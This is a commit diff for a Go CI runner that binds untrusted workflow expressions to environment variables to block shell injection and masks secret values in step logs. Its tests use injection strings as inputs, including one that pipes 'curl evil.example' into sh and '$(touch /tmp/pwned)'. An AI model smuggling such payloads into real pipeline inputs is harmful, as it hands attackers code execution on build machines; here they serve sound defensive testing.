tenseleyflow/shithub / 24f1f57

Browse files

runner: add taint-aware render and log masking foundation

Authored by mfwolffe <wolffemf@dukes.jmu.edu>
SHA
24f1f57795149b3c928d3cf34ae61e4f03d47049
Parents
c860f1e
Tree
0c50549

15 changed files

StatusFile+-
M internal/actions/expr/eval.go 2 1
M internal/actions/expr/eval_test.go 14 0
M internal/actions/queries/workflow_jobs.sql 1 1
M internal/actions/sqlc/workflow_jobs.sql.go 3 1
M internal/runner/api/client.go 1 0
M internal/runner/engine/docker.go 62 13
M internal/runner/engine/docker_test.go 80 0
M internal/runner/engine/types.go 2 0
A internal/runner/exec/render.go 287 0
A internal/runner/exec/render_test.go 124 0
M internal/runner/runner.go 1 0
A internal/runner/scrub/scrub.go 92 0
A internal/runner/scrub/scrub_test.go 38 0
M internal/web/handlers/api/runners.go 2 0
M internal/web/handlers/api/runners_test.go 8 4
internal/actions/expr/eval.gomodified
@@ -78,6 +78,7 @@ type Context struct {
7878
 	Secrets   map[string]string
7979
 	Vars      map[string]string
8080
 	Env       map[string]string
81
+	EnvTaint  map[string]bool
8182
 	Shithub   ShithubContext
8283
 	Untrusted map[string]struct{} // namespace prefixes
8384
 	JobStatus JobStatus           // for success()/failure()/always()/cancelled()
@@ -194,7 +195,7 @@ func evalRef(r Ref, ctx *Context) (Value, error) {
194195
 		if !ok {
195196
 			return Value{Kind: KindString, S: ""}, nil
196197
 		}
197
-		return Value{Kind: KindString, S: v}, nil
198
+		return Value{Kind: KindString, S: v, Tainted: ctx.EnvTaint[path[1]]}, nil
198199
 	case "shithub":
199200
 		return evalShithub(path[1:], ctx, tainted)
200201
 	}
internal/actions/expr/eval_test.gomodified
@@ -357,6 +357,20 @@ func TestEval_GithubAliasNonEventNotTainted(t *testing.T) {
357357
 	}
358358
 }
359359
 
360
+func TestEval_EnvTaintPropagates(t *testing.T) {
361
+	t.Parallel()
362
+	ctx := defaultContext()
363
+	ctx.Env["TITLE"] = "hello"
364
+	ctx.EnvTaint = map[string]bool{"TITLE": true}
365
+	v, err := evalString(t, `env.TITLE`, ctx)
366
+	if err != nil {
367
+		t.Fatalf("Eval: %v", err)
368
+	}
369
+	if !v.Tainted {
370
+		t.Fatal("env values resolved from tainted expressions must remain tainted")
371
+	}
372
+}
373
+
360374
 // TestEval_GithubUnknownFieldErrors confirms the alias is *narrow*: only
361375
 // the shithub.{run_id,sha,ref,actor,event} subset routes through. github
362376
 // fields we don't expose (event_name, repository, run_number, etc.) get
internal/actions/queries/workflow_jobs.sqlmodified
@@ -79,7 +79,7 @@ SELECT c.id, c.run_id, c.job_index, c.job_key, c.job_name, c.runs_on,
7979
        c.cancel_requested, c.started_at, c.completed_at, c.version,
8080
        c.created_at, c.updated_at,
8181
        r.repo_id, r.run_index, r.workflow_file, r.workflow_name,
82
-       r.head_sha, r.head_ref, r.event
82
+       r.head_sha, r.head_ref, r.event, r.event_payload
8383
 FROM claimed c
8484
 JOIN workflow_runs r ON r.id = c.run_id;
8585
 
internal/actions/sqlc/workflow_jobs.sql.gomodified
@@ -50,7 +50,7 @@ SELECT c.id, c.run_id, c.job_index, c.job_key, c.job_name, c.runs_on,
5050
        c.cancel_requested, c.started_at, c.completed_at, c.version,
5151
        c.created_at, c.updated_at,
5252
        r.repo_id, r.run_index, r.workflow_file, r.workflow_name,
53
-       r.head_sha, r.head_ref, r.event
53
+       r.head_sha, r.head_ref, r.event, r.event_payload
5454
 FROM claimed c
5555
 JOIN workflow_runs r ON r.id = c.run_id
5656
 `
@@ -88,6 +88,7 @@ type ClaimQueuedWorkflowJobRow struct {
8888
 	HeadSha         string
8989
 	HeadRef         string
9090
 	Event           WorkflowRunEvent
91
+	EventPayload    []byte
9192
 }
9293
 
9394
 func (q *Queries) ClaimQueuedWorkflowJob(ctx context.Context, db DBTX, arg ClaimQueuedWorkflowJobParams) (ClaimQueuedWorkflowJobRow, error) {
@@ -121,6 +122,7 @@ func (q *Queries) ClaimQueuedWorkflowJob(ctx context.Context, db DBTX, arg Claim
121122
 		&i.HeadSha,
122123
 		&i.HeadRef,
123124
 		&i.Event,
125
+		&i.EventPayload,
124126
 	)
125127
 	return i, err
126128
 }
internal/runner/api/client.gomodified
@@ -65,6 +65,7 @@ type Job struct {
6565
 	HeadSHA        string            `json:"head_sha"`
6666
 	HeadRef        string            `json:"head_ref"`
6767
 	Event          string            `json:"event"`
68
+	EventPayload   map[string]any    `json:"event_payload"`
6869
 	JobKey         string            `json:"job_key"`
6970
 	JobName        string            `json:"job_name"`
7071
 	RunsOn         string            `json:"runs_on"`
internal/runner/engine/docker.gomodified
@@ -4,6 +4,7 @@ package engine
44
 
55
 import (
66
 	"context"
7
+	"encoding/json"
78
 	"errors"
89
 	"fmt"
910
 	"io"
@@ -15,6 +16,10 @@ import (
1516
 	"strings"
1617
 	"sync"
1718
 	"time"
19
+
20
+	"github.com/tenseleyFlow/shithub/internal/actions/expr"
21
+	runnerexec "github.com/tenseleyFlow/shithub/internal/runner/exec"
22
+	"github.com/tenseleyFlow/shithub/internal/runner/scrub"
1823
 )
1924
 
2025
 var (
@@ -47,6 +52,7 @@ type DockerConfig struct {
4752
 	Stdout           io.Writer
4853
 	Stderr           io.Writer
4954
 	Runner           CommandRunner
55
+	MaskValues       []string
5056
 }
5157
 
5258
 type Docker struct {
@@ -149,7 +155,7 @@ func (d *Docker) executeStep(ctx context.Context, job Job, step Step) error {
149155
 	if err != nil {
150156
 		return err
151157
 	}
152
-	writer := d.newStepLogWriter(ctx, job.ID, step.ID)
158
+	writer := d.newStepLogWriter(ctx, job.ID, step.ID, job.MaskValues)
153159
 	out := io.MultiWriter(d.cfg.Stdout, writer)
154160
 	errOut := io.MultiWriter(d.cfg.Stderr, writer)
155161
 	if err := d.cfg.Runner.Run(ctx, d.cfg.Binary, args, out, errOut); err != nil {
@@ -176,6 +182,15 @@ func (d *Docker) dockerArgs(job Job, step Step) ([]string, error) {
176182
 	if image == "" {
177183
 		return nil, errors.New("runner engine: image is required")
178184
 	}
185
+	rendered, err := runnerexec.RenderStep(runnerexec.StepInput{
186
+		Run:     step.Run,
187
+		JobEnv:  job.Env,
188
+		StepEnv: step.Env,
189
+		Context: expressionContext(job),
190
+	})
191
+	if err != nil {
192
+		return nil, fmt.Errorf("runner engine: render step %q: %w", stepLabel(step), err)
193
+	}
179194
 	args := []string{
180195
 		"run",
181196
 		"--rm",
@@ -185,17 +200,33 @@ func (d *Docker) dockerArgs(job Job, step Step) ([]string, error) {
185200
 		"--workdir=" + workdir,
186201
 		"-v", job.WorkspaceDir + ":/workspace",
187202
 	}
188
-	env, err := mergeEnv(job.Env, step.Env)
203
+	env, err := validateEnv(rendered.Env)
189204
 	if err != nil {
190205
 		return nil, err
191206
 	}
192207
 	for _, key := range sortedKeys(env) {
193208
 		args = append(args, "-e", key+"="+env[key])
194209
 	}
195
-	args = append(args, image, "bash", "-c", step.Run)
210
+	args = append(args, image, "bash", "-c", rendered.Run)
196211
 	return args, nil
197212
 }
198213
 
214
+func expressionContext(job Job) expr.Context {
215
+	event := job.EventPayload
216
+	if len(event) == 0 && strings.TrimSpace(job.Event) != "" && json.Valid([]byte(job.Event)) {
217
+		_ = json.Unmarshal([]byte(job.Event), &event)
218
+	}
219
+	return expr.Context{
220
+		Shithub: expr.ShithubContext{
221
+			Event: event,
222
+			RunID: fmt.Sprintf("%d", job.RunID),
223
+			SHA:   job.HeadSHA,
224
+			Ref:   job.HeadRef,
225
+		},
226
+		Untrusted: expr.DefaultUntrusted(),
227
+	}
228
+}
229
+
199230
 func (d *Docker) StreamLogs(_ context.Context, jobID int64) (<-chan LogChunk, error) {
200231
 	return d.ensureStream(jobID), nil
201232
 }
@@ -280,7 +311,7 @@ func (d *Docker) emitStepOutcome(ctx context.Context, jobID int64, step StepOutc
280311
 	}
281312
 }
282313
 
283
-func (d *Docker) newStepLogWriter(ctx context.Context, jobID, stepID int64) *stepLogWriter {
314
+func (d *Docker) newStepLogWriter(ctx context.Context, jobID, stepID int64, jobMasks []string) *stepLogWriter {
284315
 	w := &stepLogWriter{
285316
 		ctx:      ctx,
286317
 		ch:       d.logStream(jobID),
@@ -290,6 +321,7 @@ func (d *Docker) newStepLogWriter(ctx context.Context, jobID, stepID int64) *ste
290321
 		maxChunk: d.cfg.LogChunkBytes,
291322
 		interval: d.cfg.LogFlushInterval,
292323
 		limit:    d.cfg.StepLogLimit,
324
+		masker:   scrub.New(append(append([]string{}, d.cfg.MaskValues...), jobMasks...)),
293325
 		done:     make(chan struct{}),
294326
 	}
295327
 	go w.flushLoop()
@@ -308,6 +340,7 @@ type stepLogWriter struct {
308340
 	limit     int64
309341
 	written   int64
310342
 	truncated bool
343
+	masker    *scrub.Scrubber
311344
 	buf       []byte
312345
 	done      chan struct{}
313346
 	once      sync.Once
@@ -337,6 +370,7 @@ func (w *stepLogWriter) Close() error {
337370
 		w.mu.Lock()
338371
 		defer w.mu.Unlock()
339372
 		_ = w.flushLocked()
373
+		_ = w.flushMaskerLocked()
340374
 		w.closed = true
341375
 	})
342376
 	return nil
@@ -392,6 +426,27 @@ func (w *stepLogWriter) flushLocked() error {
392426
 }
393427
 
394428
 func (w *stepLogWriter) emitLocked(chunk []byte) error {
429
+	if w.masker != nil {
430
+		chunk = w.masker.Scrub(chunk)
431
+		if len(chunk) == 0 {
432
+			return nil
433
+		}
434
+	}
435
+	return w.emitChunkLocked(chunk)
436
+}
437
+
438
+func (w *stepLogWriter) flushMaskerLocked() error {
439
+	if w.masker == nil {
440
+		return nil
441
+	}
442
+	chunk := w.masker.Flush()
443
+	if len(chunk) == 0 {
444
+		return nil
445
+	}
446
+	return w.emitChunkLocked(chunk)
447
+}
448
+
449
+func (w *stepLogWriter) emitChunkLocked(chunk []byte) error {
395450
 	copied := LogChunk{JobID: w.jobID, StepID: w.stepID, Seq: w.seq, Chunk: append([]byte(nil), chunk...)}
396451
 	if w.ch != nil {
397452
 		select {
@@ -439,15 +494,9 @@ func containerWorkdir(wd string) (string, error) {
439494
 
440495
 var envNameRE = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
441496
 
442
-func mergeEnv(jobEnv, stepEnv map[string]string) (map[string]string, error) {
443
-	out := make(map[string]string, len(jobEnv)+len(stepEnv))
444
-	for k, v := range jobEnv {
445
-		if !envNameRE.MatchString(k) {
446
-			return nil, fmt.Errorf("runner engine: invalid env name %q", k)
447
-		}
448
-		out[k] = v
449
-	}
450
-	for k, v := range stepEnv {
497
+func validateEnv(env map[string]string) (map[string]string, error) {
498
+	out := make(map[string]string, len(env))
499
+	for k, v := range env {
451500
 		if !envNameRE.MatchString(k) {
452501
 			return nil, fmt.Errorf("runner engine: invalid env name %q", k)
453502
 		}
internal/runner/engine/docker_test.gomodified
@@ -31,6 +31,14 @@ func (loggingRunner) Run(_ context.Context, _ string, _ []string, stdout, stderr
3131
 	return nil
3232
 }
3333
 
34
+type secretLoggingRunner struct{}
35
+
36
+func (secretLoggingRunner) Run(_ context.Context, _ string, _ []string, stdout, _ io.Writer) error {
37
+	_, _ = stdout.Write([]byte("hun"))
38
+	_, _ = stdout.Write([]byte("ter2\n"))
39
+	return nil
40
+}
41
+
3442
 func TestDockerExecute_BuildsResourceCappedRunCommand(t *testing.T) {
3543
 	t.Parallel()
3644
 	rec := &recordingRunner{}
@@ -75,6 +83,38 @@ func TestDockerExecute_BuildsResourceCappedRunCommand(t *testing.T) {
7583
 	}
7684
 }
7785
 
86
+func TestDockerExecute_RendersTaintedExpressionsThroughInputEnv(t *testing.T) {
87
+	t.Parallel()
88
+	rec := &recordingRunner{}
89
+	d := NewDocker(DockerConfig{
90
+		DefaultImage: "runner-image",
91
+		Network:      "bridge",
92
+		Memory:       "2g",
93
+		CPUs:         "2",
94
+		Runner:       rec,
95
+	})
96
+	malicious := `"; curl evil.example | sh #`
97
+	if _, err := d.Execute(t.Context(), Job{
98
+		ID:           1,
99
+		RunID:        2,
100
+		HeadSHA:      "abc",
101
+		HeadRef:      "refs/heads/trunk",
102
+		EventPayload: map[string]any{"pull_request": map[string]any{"title": malicious}},
103
+		WorkspaceDir: t.TempDir(),
104
+		Steps: []Step{{
105
+			Run: `echo "${{ shithub.event.pull_request.title }}"`,
106
+		}},
107
+	}); err != nil {
108
+		t.Fatalf("Execute: %v", err)
109
+	}
110
+	if got := rec.args[len(rec.args)-1]; got != `echo "${SHITHUB_INPUT_0}"` {
111
+		t.Fatalf("rendered command: %q", got)
112
+	}
113
+	if !containsArg(rec.args, "SHITHUB_INPUT_0="+malicious) {
114
+		t.Fatalf("input binding missing from args: %#v", rec.args)
115
+	}
116
+}
117
+
78118
 func TestDockerExecute_StreamsStepLogs(t *testing.T) {
79119
 	t.Parallel()
80120
 	d := NewDocker(DockerConfig{
@@ -112,6 +152,37 @@ func TestDockerExecute_StreamsStepLogs(t *testing.T) {
112152
 	}
113153
 }
114154
 
155
+func TestDockerExecute_ScrubsStepLogsAcrossChunkBoundary(t *testing.T) {
156
+	t.Parallel()
157
+	d := NewDocker(DockerConfig{
158
+		DefaultImage:  "runner-image",
159
+		Network:       "bridge",
160
+		Memory:        "2g",
161
+		CPUs:          "2",
162
+		LogChunkBytes: 3,
163
+		Runner:        secretLoggingRunner{},
164
+	})
165
+	logs, err := d.StreamLogs(t.Context(), 99)
166
+	if err != nil {
167
+		t.Fatalf("StreamLogs: %v", err)
168
+	}
169
+	if _, err := d.Execute(t.Context(), Job{
170
+		ID:           99,
171
+		WorkspaceDir: t.TempDir(),
172
+		MaskValues:   []string{"hunter2"},
173
+		Steps:        []Step{{ID: 123, Run: "echo secret"}},
174
+	}); err != nil {
175
+		t.Fatalf("Execute: %v", err)
176
+	}
177
+	var got string
178
+	for chunk := range logs {
179
+		got += string(chunk.Chunk)
180
+	}
181
+	if got != "***\n" {
182
+		t.Fatalf("logs: %q", got)
183
+	}
184
+}
185
+
115186
 func TestDockerExecute_StreamsOrderedEvents(t *testing.T) {
116187
 	t.Parallel()
117188
 	d := NewDocker(DockerConfig{
@@ -214,3 +285,12 @@ func TestContainerWorkdirRejectsEscapes(t *testing.T) {
214285
 		}
215286
 	}
216287
 }
288
+
289
+func containsArg(args []string, want string) bool {
290
+	for _, arg := range args {
291
+		if arg == want {
292
+			return true
293
+		}
294
+	}
295
+	return false
296
+}
internal/runner/engine/types.gomodified
@@ -38,6 +38,7 @@ type Job struct {
3838
 	HeadSHA        string
3939
 	HeadRef        string
4040
 	Event          string
41
+	EventPayload   map[string]any
4142
 	JobKey         string
4243
 	JobName        string
4344
 	RunsOn         string
@@ -49,6 +50,7 @@ type Job struct {
4950
 	Steps          []Step
5051
 	WorkspaceDir   string
5152
 	Image          string
53
+	MaskValues     []string
5254
 }
5355
 
5456
 type Step struct {
internal/runner/exec/render.goadded
@@ -0,0 +1,287 @@
1
+// SPDX-License-Identifier: AGPL-3.0-or-later
2
+
3
+// Package exec renders workflow expressions into the shell/env surface used
4
+// by runner engines. It is deliberately separate from the Docker engine so
5
+// every future engine consumes the same taint boundary.
6
+package exec
7
+
8
+import (
9
+	"fmt"
10
+	"sort"
11
+	"strconv"
12
+	"strings"
13
+
14
+	"github.com/tenseleyFlow/shithub/internal/actions/expr"
15
+)
16
+
17
+const defaultBindingPrefix = "SHITHUB_INPUT_"
18
+
19
+type Bindings struct {
20
+	prefix string
21
+	next   int
22
+	env    map[string]string
23
+}
24
+
25
+func NewBindings(prefix string) *Bindings {
26
+	if strings.TrimSpace(prefix) == "" {
27
+		prefix = defaultBindingPrefix
28
+	}
29
+	return &Bindings{prefix: prefix, env: map[string]string{}}
30
+}
31
+
32
+func (b *Bindings) Add(value string) string {
33
+	name := b.prefix + strconv.Itoa(b.next)
34
+	b.next++
35
+	b.env[name] = value
36
+	return name
37
+}
38
+
39
+func (b *Bindings) Env() map[string]string {
40
+	out := make(map[string]string, len(b.env))
41
+	for k, v := range b.env {
42
+		out[k] = v
43
+	}
44
+	return out
45
+}
46
+
47
+type ResolvedText struct {
48
+	Text    string
49
+	Tainted bool
50
+}
51
+
52
+type RenderedStep struct {
53
+	Run      string
54
+	Env      map[string]string
55
+	EnvTaint map[string]bool
56
+}
57
+
58
+type StepInput struct {
59
+	Run     string
60
+	JobEnv  map[string]string
61
+	StepEnv map[string]string
62
+	Context expr.Context
63
+}
64
+
65
+func RenderStep(in StepInput) (RenderedStep, error) {
66
+	ctx := cloneContext(&in.Context)
67
+	bindings := NewBindings("")
68
+
69
+	env, taint, err := resolveEnv(in.JobEnv, &ctx)
70
+	if err != nil {
71
+		return RenderedStep{}, fmt.Errorf("render job env: %w", err)
72
+	}
73
+	mergeContextEnv(&ctx, env, taint)
74
+
75
+	stepEnv, stepTaint, err := resolveEnv(in.StepEnv, &ctx)
76
+	if err != nil {
77
+		return RenderedStep{}, fmt.Errorf("render step env: %w", err)
78
+	}
79
+	for k, v := range stepEnv {
80
+		env[k] = v
81
+		if stepTaint[k] {
82
+			taint[k] = true
83
+		} else {
84
+			delete(taint, k)
85
+		}
86
+	}
87
+	mergeContextEnv(&ctx, stepEnv, stepTaint)
88
+
89
+	run, err := RenderShell(in.Run, &ctx, bindings)
90
+	if err != nil {
91
+		return RenderedStep{}, err
92
+	}
93
+	for k, v := range bindings.Env() {
94
+		env[k] = v
95
+	}
96
+	return RenderedStep{Run: run, Env: env, EnvTaint: taint}, nil
97
+}
98
+
99
+func RenderShell(raw string, ctx *expr.Context, bindings *Bindings) (string, error) {
100
+	if bindings == nil {
101
+		bindings = NewBindings("")
102
+	}
103
+	var out strings.Builder
104
+	if err := walkExpressions(raw, func(literal, body string) error {
105
+		if body == "" {
106
+			out.WriteString(literal)
107
+			return nil
108
+		}
109
+		out.WriteString(literal)
110
+		v, err := eval(body, ctx)
111
+		if err != nil {
112
+			return err
113
+		}
114
+		if v.Tainted {
115
+			out.WriteString("${")
116
+			out.WriteString(bindings.Add(v.String()))
117
+			out.WriteString("}")
118
+			return nil
119
+		}
120
+		out.WriteString(v.String())
121
+		return nil
122
+	}); err != nil {
123
+		return "", err
124
+	}
125
+	return out.String(), nil
126
+}
127
+
128
+func ResolveText(raw string, ctx *expr.Context) (ResolvedText, error) {
129
+	var out strings.Builder
130
+	tainted := false
131
+	if err := walkExpressions(raw, func(literal, body string) error {
132
+		if body == "" {
133
+			out.WriteString(literal)
134
+			return nil
135
+		}
136
+		out.WriteString(literal)
137
+		v, err := eval(body, ctx)
138
+		if err != nil {
139
+			return err
140
+		}
141
+		if v.Tainted {
142
+			tainted = true
143
+		}
144
+		out.WriteString(v.String())
145
+		return nil
146
+	}); err != nil {
147
+		return ResolvedText{}, err
148
+	}
149
+	return ResolvedText{Text: out.String(), Tainted: tainted}, nil
150
+}
151
+
152
+func resolveEnv(raw map[string]string, ctx *expr.Context) (map[string]string, map[string]bool, error) {
153
+	out := make(map[string]string, len(raw))
154
+	taint := make(map[string]bool, len(raw))
155
+	for _, key := range sortedKeys(raw) {
156
+		if strings.HasPrefix(key, defaultBindingPrefix) {
157
+			return nil, nil, fmt.Errorf("%s uses reserved runner input prefix %s", key, defaultBindingPrefix)
158
+		}
159
+		v, err := ResolveText(raw[key], ctx)
160
+		if err != nil {
161
+			return nil, nil, fmt.Errorf("%s: %w", key, err)
162
+		}
163
+		out[key] = v.Text
164
+		if v.Tainted {
165
+			taint[key] = true
166
+		}
167
+	}
168
+	return out, taint, nil
169
+}
170
+
171
+func eval(body string, ctx *expr.Context) (expr.Value, error) {
172
+	if ctx == nil {
173
+		c := expr.Context{Untrusted: expr.DefaultUntrusted()}
174
+		ctx = &c
175
+	}
176
+	toks, err := expr.Lex(strings.TrimSpace(body))
177
+	if err != nil {
178
+		return expr.Value{}, err
179
+	}
180
+	ast, err := expr.Parse(toks)
181
+	if err != nil {
182
+		return expr.Value{}, err
183
+	}
184
+	return expr.Eval(ast, ctx)
185
+}
186
+
187
+func walkExpressions(raw string, fn func(literal, body string) error) error {
188
+	for {
189
+		start := strings.Index(raw, "${{")
190
+		if start < 0 {
191
+			return fn(raw, "")
192
+		}
193
+		end := strings.Index(raw[start+3:], "}}")
194
+		if end < 0 {
195
+			return fmt.Errorf("render expression: missing closing }}")
196
+		}
197
+		end += start + 3
198
+		if err := fn(raw[:start], raw[start+3:end]); err != nil {
199
+			return err
200
+		}
201
+		raw = raw[end+2:]
202
+	}
203
+}
204
+
205
+func cloneContext(ctx *expr.Context) expr.Context {
206
+	if ctx == nil {
207
+		return expr.Context{Untrusted: expr.DefaultUntrusted()}
208
+	}
209
+	out := *ctx
210
+	out.Secrets = cloneStringMap(ctx.Secrets)
211
+	out.Vars = cloneStringMap(ctx.Vars)
212
+	out.Env = cloneStringMap(ctx.Env)
213
+	out.EnvTaint = cloneBoolMap(ctx.EnvTaint)
214
+	out.Untrusted = cloneSet(ctx.Untrusted)
215
+	out.Shithub.Event = cloneAnyMap(ctx.Shithub.Event)
216
+	return out
217
+}
218
+
219
+func mergeContextEnv(ctx *expr.Context, env map[string]string, taint map[string]bool) {
220
+	if ctx.Env == nil {
221
+		ctx.Env = map[string]string{}
222
+	}
223
+	if ctx.EnvTaint == nil {
224
+		ctx.EnvTaint = map[string]bool{}
225
+	}
226
+	for k, v := range env {
227
+		ctx.Env[k] = v
228
+		if taint[k] {
229
+			ctx.EnvTaint[k] = true
230
+		} else {
231
+			delete(ctx.EnvTaint, k)
232
+		}
233
+	}
234
+}
235
+
236
+func sortedKeys(m map[string]string) []string {
237
+	keys := make([]string, 0, len(m))
238
+	for k := range m {
239
+		keys = append(keys, k)
240
+	}
241
+	sort.Strings(keys)
242
+	return keys
243
+}
244
+
245
+func cloneStringMap(in map[string]string) map[string]string {
246
+	if len(in) == 0 {
247
+		return nil
248
+	}
249
+	out := make(map[string]string, len(in))
250
+	for k, v := range in {
251
+		out[k] = v
252
+	}
253
+	return out
254
+}
255
+
256
+func cloneBoolMap(in map[string]bool) map[string]bool {
257
+	if len(in) == 0 {
258
+		return nil
259
+	}
260
+	out := make(map[string]bool, len(in))
261
+	for k, v := range in {
262
+		out[k] = v
263
+	}
264
+	return out
265
+}
266
+
267
+func cloneSet(in map[string]struct{}) map[string]struct{} {
268
+	if len(in) == 0 {
269
+		return expr.DefaultUntrusted()
270
+	}
271
+	out := make(map[string]struct{}, len(in))
272
+	for k, v := range in {
273
+		out[k] = v
274
+	}
275
+	return out
276
+}
277
+
278
+func cloneAnyMap(in map[string]any) map[string]any {
279
+	if len(in) == 0 {
280
+		return nil
281
+	}
282
+	out := make(map[string]any, len(in))
283
+	for k, v := range in {
284
+		out[k] = v
285
+	}
286
+	return out
287
+}
internal/runner/exec/render_test.goadded
@@ -0,0 +1,124 @@
1
+// SPDX-License-Identifier: AGPL-3.0-or-later
2
+
3
+package exec
4
+
5
+import (
6
+	"reflect"
7
+	"testing"
8
+
9
+	"github.com/tenseleyFlow/shithub/internal/actions/expr"
10
+)
11
+
12
+func TestRenderShell_TaintedExpressionUsesEnvBinding(t *testing.T) {
13
+	t.Parallel()
14
+	ctx := expr.Context{
15
+		Shithub: expr.ShithubContext{
16
+			Event: map[string]any{
17
+				"pull_request": map[string]any{
18
+					"title": `"; curl evil.example | sh #`,
19
+				},
20
+			},
21
+		},
22
+		Untrusted: expr.DefaultUntrusted(),
23
+	}
24
+	bindings := NewBindings("")
25
+	got, err := RenderShell(`echo "${{ shithub.event.pull_request.title }}"`, &ctx, bindings)
26
+	if err != nil {
27
+		t.Fatalf("RenderShell: %v", err)
28
+	}
29
+	if got != `echo "${SHITHUB_INPUT_0}"` {
30
+		t.Fatalf("command:\ngot  %q\nwant %q", got, `echo "${SHITHUB_INPUT_0}"`)
31
+	}
32
+	if bindings.Env()["SHITHUB_INPUT_0"] != `"; curl evil.example | sh #` {
33
+		t.Fatalf("bindings: %#v", bindings.Env())
34
+	}
35
+}
36
+
37
+func TestRenderStep_EnvTaintPropagatesToRunExpressions(t *testing.T) {
38
+	t.Parallel()
39
+	ctx := expr.Context{
40
+		Shithub: expr.ShithubContext{
41
+			Event: map[string]any{"title": `$(touch /tmp/pwned)`},
42
+		},
43
+		Untrusted: expr.DefaultUntrusted(),
44
+	}
45
+	got, err := RenderStep(StepInput{
46
+		Context: ctx,
47
+		JobEnv: map[string]string{
48
+			"TITLE": "${{ shithub.event.title }}",
49
+		},
50
+		Run: "echo ${{ env.TITLE }}",
51
+	})
52
+	if err != nil {
53
+		t.Fatalf("RenderStep: %v", err)
54
+	}
55
+	if got.Env["TITLE"] != `$(touch /tmp/pwned)` || !got.EnvTaint["TITLE"] {
56
+		t.Fatalf("env/taint: env=%#v taint=%#v", got.Env, got.EnvTaint)
57
+	}
58
+	if got.Run != "echo ${SHITHUB_INPUT_0}" {
59
+		t.Fatalf("run: %q", got.Run)
60
+	}
61
+	if got.Env["SHITHUB_INPUT_0"] != `$(touch /tmp/pwned)` {
62
+		t.Fatalf("input binding: %#v", got.Env)
63
+	}
64
+}
65
+
66
+func TestRenderStep_ResolvesTrustedExpressionsInline(t *testing.T) {
67
+	t.Parallel()
68
+	got, err := RenderStep(StepInput{
69
+		Context: expr.Context{
70
+			Vars:      map[string]string{"TARGET": "world"},
71
+			Untrusted: expr.DefaultUntrusted(),
72
+		},
73
+		StepEnv: map[string]string{"GREETING": "hello ${{ vars.TARGET }}"},
74
+		Run:     "echo ${{ env.GREETING }}",
75
+	})
76
+	if err != nil {
77
+		t.Fatalf("RenderStep: %v", err)
78
+	}
79
+	if got.Run != "echo hello world" {
80
+		t.Fatalf("run: %q", got.Run)
81
+	}
82
+	wantEnv := map[string]string{"GREETING": "hello world"}
83
+	if !reflect.DeepEqual(got.Env, wantEnv) {
84
+		t.Fatalf("env:\ngot  %#v\nwant %#v", got.Env, wantEnv)
85
+	}
86
+}
87
+
88
+func TestRenderStep_StepEnvOverrideClearsJobEnvTaint(t *testing.T) {
89
+	t.Parallel()
90
+	ctx := expr.Context{
91
+		Shithub:   expr.ShithubContext{Event: map[string]any{"title": "bad"}},
92
+		Untrusted: expr.DefaultUntrusted(),
93
+	}
94
+	got, err := RenderStep(StepInput{
95
+		Context: ctx,
96
+		JobEnv: map[string]string{
97
+			"TITLE": "${{ shithub.event.title }}",
98
+		},
99
+		StepEnv: map[string]string{
100
+			"TITLE": "trusted",
101
+		},
102
+		Run: "echo ${{ env.TITLE }}",
103
+	})
104
+	if err != nil {
105
+		t.Fatalf("RenderStep: %v", err)
106
+	}
107
+	if got.EnvTaint["TITLE"] {
108
+		t.Fatalf("step override should clear taint: %#v", got.EnvTaint)
109
+	}
110
+	if got.Run != "echo trusted" {
111
+		t.Fatalf("run: %q", got.Run)
112
+	}
113
+}
114
+
115
+func TestRenderStep_RejectsReservedInputEnv(t *testing.T) {
116
+	t.Parallel()
117
+	_, err := RenderStep(StepInput{
118
+		JobEnv: map[string]string{"SHITHUB_INPUT_0": "collision"},
119
+		Run:    "true",
120
+	})
121
+	if err == nil {
122
+		t.Fatal("RenderStep returned nil error")
123
+	}
124
+}
internal/runner/runner.gomodified
@@ -345,6 +345,7 @@ func toEngineJob(job api.Job, workspaceDir, defaultImage string) engine.Job {
345345
 		HeadSHA:        job.HeadSHA,
346346
 		HeadRef:        job.HeadRef,
347347
 		Event:          job.Event,
348
+		EventPayload:   job.EventPayload,
348349
 		JobKey:         job.JobKey,
349350
 		JobName:        job.JobName,
350351
 		RunsOn:         job.RunsOn,
internal/runner/scrub/scrub.goadded
@@ -0,0 +1,92 @@
1
+// SPDX-License-Identifier: AGPL-3.0-or-later
2
+
3
+// Package scrub masks configured secret values from runner log output.
4
+package scrub
5
+
6
+import (
7
+	"sort"
8
+	"strings"
9
+)
10
+
11
+const Mask = "***"
12
+
13
+type Scrubber struct {
14
+	values   []string
15
+	replacer *strings.Replacer
16
+	tail     string
17
+}
18
+
19
+func New(values []string) *Scrubber {
20
+	values = normalize(values)
21
+	if len(values) == 0 {
22
+		return &Scrubber{}
23
+	}
24
+	pairs := make([]string, 0, len(values)*2)
25
+	for _, v := range values {
26
+		pairs = append(pairs, v, Mask)
27
+	}
28
+	return &Scrubber{values: values, replacer: strings.NewReplacer(pairs...)}
29
+}
30
+
31
+func (s *Scrubber) Scrub(chunk []byte) []byte {
32
+	if s == nil || s.replacer == nil {
33
+		return append([]byte(nil), chunk...)
34
+	}
35
+	combined := s.tail + string(chunk)
36
+	keep := s.pendingSuffixLen(combined)
37
+	if keep == len(combined) {
38
+		s.tail = combined
39
+		return nil
40
+	}
41
+	emit := combined[:len(combined)-keep]
42
+	s.tail = combined[len(combined)-keep:]
43
+	return []byte(s.replacer.Replace(emit))
44
+}
45
+
46
+func (s *Scrubber) Flush() []byte {
47
+	if s == nil || s.tail == "" {
48
+		return nil
49
+	}
50
+	tail := s.tail
51
+	s.tail = ""
52
+	if s.replacer == nil {
53
+		return []byte(tail)
54
+	}
55
+	return []byte(s.replacer.Replace(tail))
56
+}
57
+
58
+func normalize(values []string) []string {
59
+	seen := map[string]struct{}{}
60
+	out := make([]string, 0, len(values))
61
+	for _, v := range values {
62
+		if v == "" {
63
+			continue
64
+		}
65
+		if _, ok := seen[v]; ok {
66
+			continue
67
+		}
68
+		seen[v] = struct{}{}
69
+		out = append(out, v)
70
+	}
71
+	sort.Slice(out, func(i, j int) bool {
72
+		return len(out[i]) > len(out[j])
73
+	})
74
+	return out
75
+}
76
+
77
+func (s *Scrubber) pendingSuffixLen(combined string) int {
78
+	keep := 0
79
+	for _, secret := range s.values {
80
+		max := len(secret) - 1
81
+		if max > len(combined) {
82
+			max = len(combined)
83
+		}
84
+		for n := max; n > keep; n-- {
85
+			if strings.HasSuffix(combined, secret[:n]) {
86
+				keep = n
87
+				break
88
+			}
89
+		}
90
+	}
91
+	return keep
92
+}
